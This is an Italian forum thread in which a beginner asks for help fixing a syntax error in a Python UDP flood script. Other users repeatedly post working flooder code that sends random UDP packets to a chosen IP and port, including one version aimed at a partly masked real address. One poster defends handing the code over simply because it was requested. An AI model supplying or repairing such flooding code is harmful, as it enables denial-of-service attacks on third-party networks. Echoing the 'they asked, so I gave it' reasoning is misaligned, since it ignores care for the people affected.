Follow along with the video below to see how to install our site as a web app on your home screen.
Nota: This feature may not be available in some browsers.
Si ma qual'è la riga 51?Mi restituisce sempre l'errore di sintassi anche con python 3, sempre sul 51.
Devi inizializzare quelle variabili all'inizio del codice, tipoSull'indirizzo ip.
class udpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = 80.116.51.XX
self.port = 443
self.size = 50
self.packets = 50
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
self.udp.sendto(bytes,(self.ip, self.port))
except:
pass
La riga è
self.ip = 80.116.51.xxx
Ip = "xx.xx.xx.xx"
self.ip = ip
import random
import socket
import sys
import threading
ip = #inserisci l'ip
port = #inserisci la porta
size = #inserisci la dimensione
packets =
class udpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = ip
self.port = port
self.size = size
self.packets = packets
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
self.udp.sendto(bytes,(self.ip, self.port))
except:
pass
main = udpFlood.__init__(ip, port, size, packets)
main.run()
Ne sono consapevole, ma io mi sono limitato a rispondere alle sue domande, ha chiesto il codice e io gliel'ho dato, se è controproducente o no spetta a lui deciderlo... io ho solo soddisfatto le sue richieste.@simoste dovresti capire che c'è gente che può fare determinate cose e c'è gente che non può fare determinate cose.
Adesso mi spieghi perchè gli hai dato il codice se non ha un minimo di conoscenze al riguardo? È controproducente, ne sei consapevole?
Comunque come dice il vecchio saggio "non si nasce imparati" perciò non credo che tu sia partito/a già sapendo programmare Python, se lui crede che sia un buon metodo analizzare codici già fatti ( cosa che penso anche io ) perchè non fornirgli del codice...@simoste dovresti capire che c'è gente che può fare determinate cose e c'è gente che non può fare determinate cose.
Adesso mi spieghi perchè gli hai dato il codice se non ha un minimo di conoscenze al riguardo? È controproducente, ne sei consapevole?
import random
import socket
import sys
import threading
ip = #ip a cui inviare i pacchetti
port = #porta a cui mandare i pacchetti (0 = tutte le porte)
size = #dimensione dei pacchetti
packets = #numero di pacchetti da mandare
class udpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = ip
self.port = port
self.size = size
self.packets = packets
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
self.udp.sendto(bytes,(self.ip, self.port))
print "Flooding..."
except:
pass
Flood = udpFlood(ip, port, size, packets)
Flood.run()
Premettendo che io non ti ho accusato di 'non sapere un pazzo d'informatica' (hai forse la coda di paglia?) stavo solo dicendo che bisogna prendersi del tempo, perchè è logico che qualcuno che non riesce a comprendere un errore che gli si presenta (come è GIUSTO che sia all' INIZIO) difficilmente potrà creare un flooder, non avendo ancora le conoscenze necessarie.Certo, quindi non so un càzzo di informatica perché non conosco bene il python e perché sto alle basi, solo perché sei a un livello più avanzato (del python, almeno..) e perché a te A SCUOLA te lo spiegano o te lo hanno spiegato non significa che sei il genio del momento, ti ricordo..